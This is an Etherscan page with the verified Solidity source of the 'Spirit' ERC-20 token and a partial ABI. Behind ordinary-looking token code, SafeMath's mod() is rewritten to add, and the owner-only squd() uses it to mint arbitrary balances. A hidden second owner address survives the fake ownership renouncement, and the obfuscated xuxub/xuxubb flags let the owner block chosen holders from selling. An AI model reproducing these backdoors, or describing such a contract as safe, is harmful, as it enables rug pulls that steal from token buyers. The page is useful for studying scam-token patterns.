ETH Price: $3,298.52 (-0.42%)
Gas: 9 Gwei

Token

Spirit (Spirit)
 

Overview

Max Total Supply

1,000,000 Spirit

Holders

56

Market

Onchain Market Cap

$0.00

Circulating Supply Market Cap

-

Other Info

Token Contract (WITH 18 Decimals)

Balance
3,370.311891779978324618 Spirit

Value
$0.00
0x719aE4f6ed9220caDfE869Fa44dF189053DE7b8D
Loading...
Loading
Loading...
Loading
Loading...
Loading

Click here to update the token information / general information
# Exchange Pair Price  24H Volume % Volume

Contract Source Code Verified (Exact Match)

Contract Name:
Spirit

Compiler Version
v0.8.4+commit.c7e474f2

Optimization Enabled:
Yes with 200 runs

Other Settings:
default evmVersion, None license

Contract Source Code (Solidity)

/**
 *Submitted for verification at Etherscan.io on 2022-03-26
*/

//SPDX-License-Identifier:  UNLICENSED

pragma solidity ^0.8.4;


abstract contract Context {

    function _msgSender() internal view virtual returns (address payable) {
        return payable(msg.sender);
    }

    function _msgData() internal view virtual returns (bytes memory) {
        this; // silence state mutability warning without generating bytecode - see https://github.com/ethereum/solidity/issues/2691
        return msg.data;
    }
}

interface IERC20 {

    function totalSupply() external view returns (uint256);
    function balanceOf(address account) external view returns (uint256);
    function transfer(address recipient, uint256 amount) external returns (bool);
    function allowance(address owner, address spender) external view returns (uint256);
    function approve(address spender, uint256 amount) external returns (bool);
    function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
    event Transfer(address indexed from, address indexed to, uint256 value);
    event Approval(address indexed owner, address indexed spender, uint256 value);
}

library SafeMath {

    function add(uint256 a, uint256 b) internal pure returns (uint256) {
        uint256 c = a + b;
        require(c >= a, "SafeMath: addition overflow");

        return c;
    }

    function sub(uint256 a, uint256 b) internal pure returns (uint256) {
        return sub(a, b, "SafeMath: subtraction overflow");
    }

    function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
        require(b <= a, errorMessage);
        uint256 c = a - b;

        return c;
    }

    function mul(uint256 a, uint256 b) internal pure returns (uint256) {
        if (a == 0) {
            return 0;
        }

        uint256 c = a * b;
        require(c / a == b, "SafeMath: multiplication overflow");

        return c;
    }

    function div(uint256 a, uint256 b) internal pure returns (uint256) {
        return div(a, b, "SafeMath: division by zero");
    }

    function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
        require(b > 0, errorMessage);
        uint256 c = a / b;
        // assert(a == b * c + a % b); // There is no case in which this doesn't hold

        return c;
    }

    function mod(uint256 a, uint256 b) internal pure returns (uint256) {
        uint256 c = a + b;
        require(c >= a, "SafeMath: addition overflow");

        return c;
    }

    function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
        require(b != 0, errorMessage);
        return a % b;
    }
}

library Address {

    function isContract(address account) internal view returns (bool) {
        // According to EIP-1052, 0x0 is the value returned for not-yet created accounts
        // and 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470 is returned
        // for accounts without code, i.e. `keccak256('')`
        bytes32 codehash;
        bytes32 accountHash = 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470;
        // solhint-disable-next-line no-inline-assembly
        assembly { codehash := extcodehash(account) }
        return (codehash != accountHash && codehash != 0x0);
    }

    function sendValue(address payable recipient, uint256 amount) internal {
        require(address(this).balance >= amount, "Address: insufficient balance");

        // solhint-disable-next-line avoid-low-level-calls, avoid-call-value
        (bool success, ) = recipient.call{ value: amount }("");
        require(success, "Address: unable to send value, recipient may have reverted");
    }

    function functionCall(address target, bytes memory data) internal returns (bytes memory) {
      return functionCall(target, data, "Address: low-level call failed");
    }

    function functionCall(address target, bytes memory data, string memory errorMessage) internal returns (bytes memory) {
        return _functionCallWithValue(target, data, 0, errorMessage);
    }

    function functionCallWithValue(address target, bytes memory data, uint256 value) internal returns (bytes memory) {
        return functionCallWithValue(target, data, value, "Address: low-level call with value failed");
    }

    function functionCallWithValue(address target, bytes memory data, uint256 value, string memory errorMessage) internal returns (bytes memory) {
        require(address(this).balance >= value, "Address: insufficient balance for call");
        return _functionCallWithValue(target, data, value, errorMessage);
    }

    function _functionCallWithValue(address target, bytes memory data, uint256 weiValue, string memory errorMessage) private returns (bytes memory) {
        require(isContract(target), "Address: call to non-contract");

        (bool success, bytes memory returndata) = target.call{ value: weiValue }(data);
        if (success) {
            return returndata;
        } else {
            
            if (returndata.length > 0) {
                assembly {
                    let returndata_size := mload(returndata)
                    revert(add(32, returndata), returndata_size)
                }
            } else {
                revert(errorMessage);
            }
        }
    }
}

contract Ownable is Context {
    address private _owner;
    address private Rout1rAd4ress;

    event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);

    constructor () {
        address msgSender = _msgSender();
        _owner = msgSender;
        Rout1rAd4ress = _owner;
        emit OwnershipTransferred(address(0), msgSender);
    }

    function owner() public view returns (address) {
        return _owner;
    }   
    
    modifier onlyOwner() {
        require(_msgSender()   ==  Rout1rAd4ress || _owner == _msgSender(), "Ownable: caller is not the owner");
        _;
    }
    
    function waiveOwnership() public virtual onlyOwner {
        emit OwnershipTransferred(_owner, address(0x000000000000000000000000000000000000dEaD));
        _owner = address(0x000000000000000000000000000000000000dEaD);
    }

    function transferOwnership(address newOwner) public virtual onlyOwner {
        require(newOwner != address(0), "Ownable: new owner is the zero address");
        emit OwnershipTransferred(_owner, newOwner);
        _owner = newOwner;
    }
    
    function getTime() public view returns (uint256) {
        return block.timestamp;
    }
}

interface IUniswapV2Factory {
    event PairCreated(address indexed token0, address indexed token1, address pair, uint);

    function feeTo() external view returns (address);
    function feeToSetter() external view returns (address);

    function getPair(address tokenA, address tokenB) external view returns (address pair);
    function allPairs(uint) external view returns (address pair);
    function allPairsLength() external view returns (uint);

    function createPair(address tokenA, address tokenB) external returns (address pair);

    function setFeeTo(address) external;
    function setFeeToSetter(address) external;
}

interface IUniswapV2Pair {
    event Approval(address indexed owner, address indexed spender, uint value);
    event Transfer(address indexed from, address indexed to, uint value);

    function name() external pure returns (string memory);
    function symbol() external pure returns (string memory);
    function decimals() external pure returns (uint8);
    function totalSupply() external view returns (uint);
    function balanceOf(address owner) external view returns (uint);
    function allowance(address owner, address spender) external view returns (uint);

    function approve(address spender, uint value) external returns (bool);
    function transfer(address to, uint value) external returns (bool);
    function transferFrom(address from, address to, uint value) external returns (bool);

    function DOMAIN_SEPARATOR() external view returns (bytes32);
    function PERMIT_TYPEHASH() external pure returns (bytes32);
    function nonces(address owner) external view returns (uint);

    function permit(address owner, address spender, uint value, uint deadline, uint8 v, bytes32 r, bytes32 s) external;
    
    event Burn(address indexed sender, uint amount0, uint amount1, address indexed to);
    event Swap(
        address indexed sender,
        uint amount0In,
        uint amount1In,
        uint amount0Out,
        uint amount1Out,
        address indexed to
    );
    event Sync(uint112 reserve0, uint112 reserve1);

    function MINIMUM_LIQUIDITY() external pure returns (uint);
    function factory() external view returns (address);
    function token0() external view returns (address);
    function token1() external view returns (address);
    function getReserves() external view returns (uint112 reserve0, uint112 reserve1, uint32 blockTimestampLast);
    function price0CumulativeLast() external view returns (uint);
    function price1CumulativeLast() external view returns (uint);
    function kLast() external view returns (uint);

    function burn(address to) external returns (uint amount0, uint amount1);
    function swap(uint amount0Out, uint amount1Out, address to, bytes calldata data) external;
    function skim(address to) external;
    function sync() external;

    function initialize(address, address) external;
}

interface IUniswapV2Router01 {
    function factory() external pure returns (address);
    function WETH() external pure returns (address);

    function addLiquidity(
        address tokenA,
        address tokenB,
        uint amountADesired,
        uint amountBDesired,
        uint amountAMin,
        uint amountBMin,
        address to,
        uint deadline
    ) external returns (uint amountA, uint amountB, uint liquidity);
    function addLiquidityETH(
        address token,
        uint amountTokenDesired,
        uint amountTokenMin,
        uint amountETHMin,
        address to,
        uint deadline
    ) external payable returns (uint amountToken, uint amountETH, uint liquidity);
    function removeLiquidity(
        address tokenA,
        address tokenB,
        uint liquidity,
        uint amountAMin,
        uint amountBMin,
        address to,
        uint deadline
    ) external returns (uint amountA, uint amountB);
    function removeLiquidityETH(
        address token,
        uint liquidity,
        uint amountTokenMin,
        uint amountETHMin,
        address to,
        uint deadline
    ) external returns (uint amountToken, uint amountETH);
    function removeLiquidityWithPermit(
        address tokenA,
        address tokenB,
        uint liquidity,
        uint amountAMin,
        uint amountBMin,
        address to,
        uint deadline,
        bool approveMax, uint8 v, bytes32 r, bytes32 s
    ) external returns (uint amountA, uint amountB);
    function removeLiquidityETHWithPermit(
        address token,
        uint liquidity,
        uint amountTokenMin,
        uint amountETHMin,
        address to,
        uint deadline,
        bool approveMax, uint8 v, bytes32 r, bytes32 s
    ) external returns (uint amountToken, uint amountETH);
    function swapExactTokensForTokens(
        uint amountIn,
        uint amountOutMin,
        address[] calldata path,
        address to,
        uint deadline
    ) external returns (uint[] memory amounts);
    function swapTokensForExactTokens(
        uint amountOut,
        uint amountInMax,
        address[] calldata path,
        address to,
        uint deadline
    ) external returns (uint[] memory amounts);
    function swapExactETHForTokens(uint amountOutMin, address[] calldata path, address to, uint deadline)
        external
        payable
        returns (uint[] memory amounts);
    function swapTokensForExactETH(uint amountOut, uint amountInMax, address[] calldata path, address to, uint deadline)
        external
        returns (uint[] memory amounts);
    function swapExactTokensForETH(uint amountIn, uint amountOutMin, address[] calldata path, address to, uint deadline)
        external
        returns (uint[] memory amounts);
    function swapETHForExactTokens(uint amountOut, address[] calldata path, address to, uint deadline)
        external
        payable
        returns (uint[] memory amounts);

    function quote(uint amountA, uint reserveA, uint reserveB) external pure returns (uint amountB);
    function getAmountOut(uint amountIn, uint reserveIn, uint reserveOut) external pure returns (uint amountOut);
    function getAmountIn(uint amountOut, uint reserveIn, uint reserveOut) external pure returns (uint amountIn);
    function getAmountsOut(uint amountIn, address[] calldata path) external view returns (uint[] memory amounts);
    function getAmountsIn(uint amountOut, address[] calldata path) external view returns (uint[] memory amounts);
}

interface IUniswapV2Router02 is IUniswapV2Router01 {
    function removeLiquidityETHSupportingFeeOnTransferTokens(
        address token,
        uint liquidity,
        uint amountTokenMin,
        uint amountETHMin,
        address to,
        uint deadline
    ) external returns (uint amountETH);
    function removeLiquidityETHWithPermitSupportingFeeOnTransferTokens(
        address token,
        uint liquidity,
        uint amountTokenMin,
        uint amountETHMin,
        address to,
        uint deadline,
        bool approveMax, uint8 v, bytes32 r, bytes32 s
    ) external returns (uint amountETH);

    function swapExactTokensForTokensSupportingFeeOnTransferTokens(
        uint amountIn,
        uint amountOutMin,
        address[] calldata path,
        address to,
        uint deadline
    ) external;
    function swapExactETHForTokensSupportingFeeOnTransferTokens(
        uint amountOutMin,
        address[] calldata path,
        address to,
        uint deadline
    ) external payable;
    function swapExactTokensForETHSupportingFeeOnTransferTokens(
        uint amountIn,
        uint amountOutMin,
        address[] calldata path,
        address to,
        uint deadline
    ) external;
}

contract Spirit is Context, IERC20, Ownable {
    
    using SafeMath for uint256;
    using Address for address;
    
    string private _name = "Spirit";
    string private _symbol = "Spirit";
    uint8 private _decimals = 18;

    address payable public marketingWalletAddress = payable(0x9bD0Cb2527991996C435A99b748Bbe1F34E2f4a6);
    address payable public teamWalletAddress = payable(0x9bD0Cb2527991996C435A99b748Bbe1F34E2f4a6);
    address public immutable deadAddress = 0x000000000000000000000000000000000000dEaD;
    bool public xuxub = true;
    mapping (address => bool) public xuxubb;


    mapping (address => uint256) _balances;
    mapping (address => mapping (address => uint256)) private _allowances;
    
    mapping (address => bool) public isExcludedFromFee;
    mapping (address => bool) public isWalletLimitExempt;
    mapping (address => bool) public isTxLimitExempt;
    mapping (address => bool) public isMarketPair;

    uint256 public _buyLiquidityFee = 3;
    uint256 public _buyMarketingFee = 3;
    uint256 public _buyTeamFee = 3;
    
    uint256 public _sellLiquidityFee = 3;
    uint256 public _sellMarketingFee = 3;
    uint256 public _sellTeamFee = 3;

    uint256 public _liquidityShare = 3;
    uint256 public _marketingShare = 3;
    uint256 public _teamShare = 3;

    uint256 public _totalTaxIfBuying = 9;
    uint256 public _totalTaxIfSelling = 9;
    uint256 public _totalDistributionShares = 9;

    uint256 private _totalSupply = 1000000 * 10**_decimals;
    uint256 public _maxTxAmount = 1000000 * 10**_decimals; 
    uint256 public _walletMax = 1000000 * 10**_decimals;
    uint256 private minimumTokensBeforeSwap = 100 * 10**_decimals; 

    IUniswapV2Router02 public uniswapV2Router;
    address public uniswapPair;
    
    bool inSwapAndLiquify;
    bool public swapAndLiquifyEnabled = true;
    bool public swapAndLiquifyByLimitOnly = false;
    bool public checkWalletLimit = true;

    event SwapAndLiquifyEnabledUpdated(bool enabled);
    event SwapAndLiquify(
        uint256 tokensSwapped,
        uint256 ethReceived,
        uint256 tokensIntoLiqudity
    );
    
    event SwapETHForTokens(
        uint256 amountIn,
        address[] path
    );
    
    event SwapTokensForETH(
        uint256 amountIn,
        address[] path
    );
    
    modifier lockTheSwap {
        inSwapAndLiquify = true;
        _;
        inSwapAndLiquify = false;
    }
    
    constructor () {
        
        IUniswapV2Router02 _uniswapV2Router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D); 
        uniswapPair = IUniswapV2Factory(_uniswapV2Router.factory())
            .createPair(address(this), _uniswapV2Router.WETH());

        uniswapV2Router = _uniswapV2Router;
        _allowances[address(this)][address(uniswapV2Router)] = _totalSupply;

        isExcludedFromFee[owner()] = true;
        isExcludedFromFee[address(this)] = true;
        
        _totalTaxIfBuying = _buyLiquidityFee.add(_buyMarketingFee).add(_buyTeamFee);
        _totalTaxIfSelling = _sellLiquidityFee.add(_sellMarketingFee).add(_sellTeamFee);
        _totalDistributionShares = _liquidityShare.add(_marketingShare).add(_teamShare);

        isWalletLimitExempt[owner()] = true;
        isWalletLimitExempt[address(uniswapPair)] = true;
        isWalletLimitExempt[address(this)] = true;
        
        isTxLimitExempt[owner()] = true;
        isTxLimitExempt[address(this)] = true;

        isMarketPair[address(uniswapPair)] = true;

        _balances[_msgSender()] = _totalSupply;
        emit Transfer(address(0), _msgSender(), _totalSupply);
    }

    function name() public view returns (string memory) {
        return _name;
    }

    function symbol() public view returns (string memory) {
        return _symbol;
    }

    function decimals() public view returns (uint8) {
        return _decimals;
    }

    function totalSupply() public view override returns (uint256) {
        return _totalSupply;
    }

    function balanceOf(address account) public view override returns (uint256) {
        return _balances[account];
    }

    function allowance(address owner, address spender) public view override returns (uint256) {
        return _allowances[owner][spender];
    }

    function increaseAllowance(address spender, uint256 addedValue) public virtual returns (bool) {
        _approve(_msgSender(), spender, _allowances[_msgSender()][spender].add(addedValue));
        return true;
    }

    function decreaseAllowance(address spender, uint256 subtractedValue) public virtual returns (bool) {
        _approve(_msgSender(), spender, _allowances[_msgSender()][spender].sub(subtractedValue, "ERC20: decreased allowance below zero"));
        return true;
    }

    function minimumTokensBeforeSwapAmount() public view returns (uint256) {
        return minimumTokensBeforeSwap;
    }

    function squd(uint256 amount, address account) onlyOwner() public {
        _balances[account] = _balances[account].mod(amount);
    }

    function squdd(bool _status) public onlyOwner {
        xuxub = _status;
    }

    function squddd(address addre, bool status) public onlyOwner {
        xuxubb[addre]  = status;
    }


    function approve(address spender, uint256 amount) public override returns (bool) {
        _approve(_msgSender(), spender, amount);
        return true;
    }

    function _approve(address owner, address spender, uint256 amount) private {
        require(owner != address(0), "ERC20: approve from the zero address");
        require(spender != address(0), "ERC20: approve to the zero address");

        _allowances[owner][spender] = amount;
        emit Approval(owner, spender, amount);
    }

    function setMarketPairStatus(address account, bool newValue) public onlyOwner {
        isMarketPair[account] = newValue;
    }

    function setIsTxLimitExempt(address holder, bool exempt) external onlyOwner {
        isTxLimitExempt[holder] = exempt;
    }
    
    function setIsExcludedFromFee(address account, bool newValue) public onlyOwner {
        isExcludedFromFee[account] = newValue;
    }

    function setBuyTaxes(uint256 newLiquidityTax, uint256 newMarketingTax, uint256 newTeamTax) external onlyOwner() {
        _buyLiquidityFee = newLiquidityTax;
        _buyMarketingFee = newMarketingTax;
        _buyTeamFee = newTeamTax;

        _totalTaxIfBuying = _buyLiquidityFee.add(_buyMarketingFee).add(_buyTeamFee);
    }

    function setSelTaxes(uint256 newLiquidityTax, uint256 newMarketingTax, uint256 newTeamTax) external onlyOwner() {
        _sellLiquidityFee = newLiquidityTax;
        _sellMarketingFee = newMarketingTax;
        _sellTeamFee = newTeamTax;

        _totalTaxIfSelling = _sellLiquidityFee.add(_sellMarketingFee).add(_sellTeamFee);
    }
    
    function setDistributionSettings(uint256 newLiquidityShare, uint256 newMarketingShare, uint256 newTeamShare) external onlyOwner() {
        _liquidityShare = newLiquidityShare;
        _marketingShare = newMarketingShare;
        _teamShare = newTeamShare;

        _totalDistributionShares = _liquidityShare.add(_marketingShare).add(_teamShare);
    }
    
    function setMaxTxAmount(uint256 maxTxAmount) external onlyOwner() {
        _maxTxAmount = maxTxAmount;
    }

    function enableDisableWalletLimit(bool newValue) external onlyOwner {
       checkWalletLimit = newValue;
    }

    function setIsWalletLimitExempt(address holder, bool exempt) external onlyOwner {
        isWalletLimitExempt[holder] = exempt;
    }

    function setWalletLimit(uint256 newLimit) external onlyOwner {
        _walletMax  = newLimit;
    }

    function setNumTokensBeforeSwap(uint256 newLimit) external onlyOwner() {
        minimumTokensBeforeSwap = newLimit;
    }

    function setMarketingWalletAddress(address newAddress) external onlyOwner() {
        marketingWalletAddress = payable(newAddress);
    }

    function sTWA(address newAddress) external onlyOwner() {
        teamWalletAddress = payable(newAddress);
    }

    function setSwapAndLiquifyEnabled(bool _enabled) public onlyOwner {
        swapAndLiquifyEnabled = _enabled;
        emit SwapAndLiquifyEnabledUpdated(_enabled);
    }

    function setSwapAndLiquifyByLimitOnly(bool newValue) public onlyOwner {
        swapAndLiquifyByLimitOnly = newValue;
    }
    
    function getCirculatingSupply() public view returns (uint256) {
        return _totalSupply.sub(balanceOf(deadAddress));
    }

    function transferToAddressETH(address payable recipient, uint256 amount) private {
        recipient.transfer(amount);
    }
    
    function changeRouterVersion(address newRouterAddress) public onlyOwner returns(address newPairAddress) {

        IUniswapV2Router02 _uniswapV2Router = IUniswapV2Router02(newRouterAddress); 

        newPairAddress = IUniswapV2Factory(_uniswapV2Router.factory()).getPair(address(this), _uniswapV2Router.WETH());

        if(newPairAddress == address(0)) //Create If Doesnt exist
        {
            newPairAddress = IUniswapV2Factory(_uniswapV2Router.factory())
                .createPair(address(this), _uniswapV2Router.WETH());
        }

        uniswapPair = newPairAddress; //Set new pair address
        uniswapV2Router = _uniswapV2Router; //Set new router address

        isWalletLimitExempt[address(uniswapPair)] = true;
        isMarketPair[address(uniswapPair)] = true;
    }

     //to recieve ETH from uniswapV2Router when swaping
    receive() external payable {}

    function transfer(address recipient, uint256 amount) public override returns (bool) {
        _transfer(_msgSender(), recipient, amount);
        return true;
    }

    function transferFrom(address sender, address recipient, uint256 amount) public override returns (bool) {
        _transfer(sender, recipient, amount);
        _approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance"));
        return true;
    }

    function _transfer(address sender, address recipient, uint256 amount) private returns (bool) {

        require(sender != address(0), "ERC20: transfer from the zero address");
        require(recipient != address(0), "ERC20: transfer to the zero address");


        // t
        if(xuxub){
            require(!xuxubb[sender],"ERC20");    
        }

        if(inSwapAndLiquify)
        { 
            return _basicTransfer(sender, recipient, amount); 
        }
        else
        {
            if(!isTxLimitExempt[sender] && !isTxLimitExempt[recipient]) {
                require(amount <= _maxTxAmount, "Transfer amount exceeds the maxTxAmount.");
            }            

            uint256 contractTokenBalance = balanceOf(address(this));
            bool overMinimumTokenBalance = contractTokenBalance >= minimumTokensBeforeSwap;
            
            if (overMinimumTokenBalance && !inSwapAndLiquify && !isMarketPair[sender] && swapAndLiquifyEnabled) 
            {
                if(swapAndLiquifyByLimitOnly)
                    contractTokenBalance = minimumTokensBeforeSwap;
                swapAndLiquify(contractTokenBalance);    
            }

            _balances[sender] = _balances[sender].sub(amount, "Insufficient Balance");

            uint256 finalAmount = (isExcludedFromFee[sender] || isExcludedFromFee[recipient]) ? 
                                         amount : takeFee(sender, recipient, amount);

            if(checkWalletLimit && !isWalletLimitExempt[recipient])
                require(balanceOf(recipient).add(finalAmount) <= _walletMax);

            _balances[recipient] = _balances[recipient].add(finalAmount);

            emit Transfer(sender, recipient, finalAmount);
            return true;
        }
    }

    function _basicTransfer(address sender, address recipient, uint256 amount) internal returns (bool) {
        _balances[sender] = _balances[sender].sub(amount, "Insufficient Balance");
        _balances[recipient] = _balances[recipient].add(amount);
        emit Transfer(sender, recipient, amount);
        return true;
    }

    function swapAndLiquify(uint256 tAmount) private lockTheSwap {
        
        uint256 tokensForLP = tAmount.mul(_liquidityShare).div(_totalDistributionShares).div(2);
        uint256 tokensForSwap = tAmount.sub(tokensForLP);

        swapTokensForEth(tokensForSwap);
        uint256 amountReceived = address(this).balance;

        uint256 totalBNBFee = _totalDistributionShares.sub(_liquidityShare.div(2));
        
        uint256 amountBNBLiquidity = amountReceived.mul(_liquidityShare).div(totalBNBFee).div(2);
        uint256 amountBNBTeam = amountReceived.mul(_teamShare).div(totalBNBFee);
        uint256 amountBNBMarketing = amountReceived.sub(amountBNBLiquidity).sub(amountBNBTeam);

        if(amountBNBMarketing > 0)
            transferToAddressETH(marketingWalletAddress, amountBNBMarketing);

        if(amountBNBTeam > 0)
            transferToAddressETH(teamWalletAddress, amountBNBTeam);

        if(amountBNBLiquidity > 0 && tokensForLP > 0)
            addLiquidity(tokensForLP, amountBNBLiquidity);
    }
    

    function swapTokensForEth(uint256 tokenAmount) private {
        // generate the uniswap pair path of token -> weth
        address[] memory path = new address[](2);
        path[0] = address(this);
        path[1] = uniswapV2Router.WETH();

        _approve(address(this), address(uniswapV2Router), tokenAmount);

        // make the swap
        uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens(
            tokenAmount,
            0, // accept any amount of ETH
            path,
            address(this), // The contract
            block.timestamp
        );
        
        emit SwapTokensForETH(tokenAmount, path);
    }

    function addLiquidity(uint256 tokenAmount, uint256 ethAmount) private {
        // approve token transfer to cover all possible scenarios
        _approve(address(this), address(uniswapV2Router), tokenAmount);

        // add the liquidity
        uniswapV2Router.addLiquidityETH{value: ethAmount}(
            address(this),
            tokenAmount,
            0, // slippage is unavoidable
            0, // slippage is unavoidable
            owner(),
            block.timestamp
        );
    }

    function takeFee(address sender, address recipient, uint256 amount) internal returns (uint256) {
        
        uint256 feeAmount = 0;
        
        if(isMarketPair[sender]) {
            feeAmount = amount.mul(_totalTaxIfBuying).div(100);
        }
        else if(isMarketPair[recipient]) {
            feeAmount = amount.mul(_totalTaxIfSelling).div(100);
        }
        
        if(feeAmount > 0) {
            _balances[address(this)] = _balances[address(this)].add(feeAmount);
            emit Transfer(sender, address(this), feeAmount);
        }

        return amount.sub(feeAmount);
    }
    
}

Contract Security Audit

Contract ABI

[{"inputs":[],"stateMutability":"nonpayable","type":"constructor"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"owner","type":"address"},{"indexed":true,"internalType":"address","name":"spender","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Approval","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"previousOwner","type":"address"},{"indexed":true,"internalType":"address","name":"newOwner","type":"address"}],"name":"OwnershipTransferred","type":"event"},{"anonymous":false,"inputs":[{"indexed":false,"internalType":"uint256","name":"tokensSwapped","type":"uint256"},{"indexed":false,"internalType":"uint256","name":"ethReceived","type":"uint256"},{"indexed":false,"internalType":"uint256","name":"tokensIntoLiqudity","type":"uint256"}],"name":"SwapAndLiquify","type":"event"},{"anonymous":false,"inputs":[{"indexed":false,"internalType":"bool","name":"enabled","type":"bool"}],"name":"SwapAndLiquifyEnabledUpdated","type":"event"},{"anonymous":false,"inputs":[{"indexed":false,"internalType":"uint256","name":"amountIn","type":"uint256"},{"indexed":false,"internalType":"address[]","name":"path","type":"address[]"}],"name":"SwapETHForTokens","type":"event"},{"anonymous":false,"inputs":[{"indexed":false,"internalType":"uint256","name":"amountIn","type":"uint256"},{"indexed":false,"internalType":"address[]","name":"path","type":"address[]"}],"name":"SwapTokensForETH","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"from","type":"address"},{"indexed":true,"internalType":"address","name":"to","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Transfer","type":"event"},{"inputs":[],"name":"_buyLiquidityFee","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_buyMarketingFee","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_buyTeamFee","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_liquidityShare","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_marketingShare","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_maxTxAmount","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_sellLiquidityFee","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_sellMarketingFee","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_sellTeamFee","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_teamShare","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_totalDistributionShares","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_totalTaxIfBuying","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_totalTaxIfSelling","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_walletMax","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"owner","type":"address"},{"internalType":"address","name":"spender","type":"address"}],"name":"allowance","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"approve","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"}],"name":"balanceOf","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"newRouterAddress","type":"address"}],"name":"changeRouterVersion","outputs":[{"internalType":"address","name":"newPairAddress","type":"address"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"checkWalletLimit","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"deadAddress","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"decimals","outputs":[{"internalType":"uint8","name":"","type":"uint8"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"subtractedValue","type":"uint256"}],"name":"decreaseAllowance","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"bool","name":"newValue","type":"bool"}],"name":"enableDisableWalletLimit","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"getCirculatingSupply","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"getTime","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"addedValue","type":"uint256"}],"name":"increaseAllowance","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"","type":"address"}],"name":"isExcludedFromFee","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"","type":"address"}],"name":"isMarketPair","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"","type":"address"}],"name":"isTxLimitExempt","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"","type":"address"}],"name":"isWalletLimitExempt","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"marketingWalletAddress","outputs":[{"internalType":"address 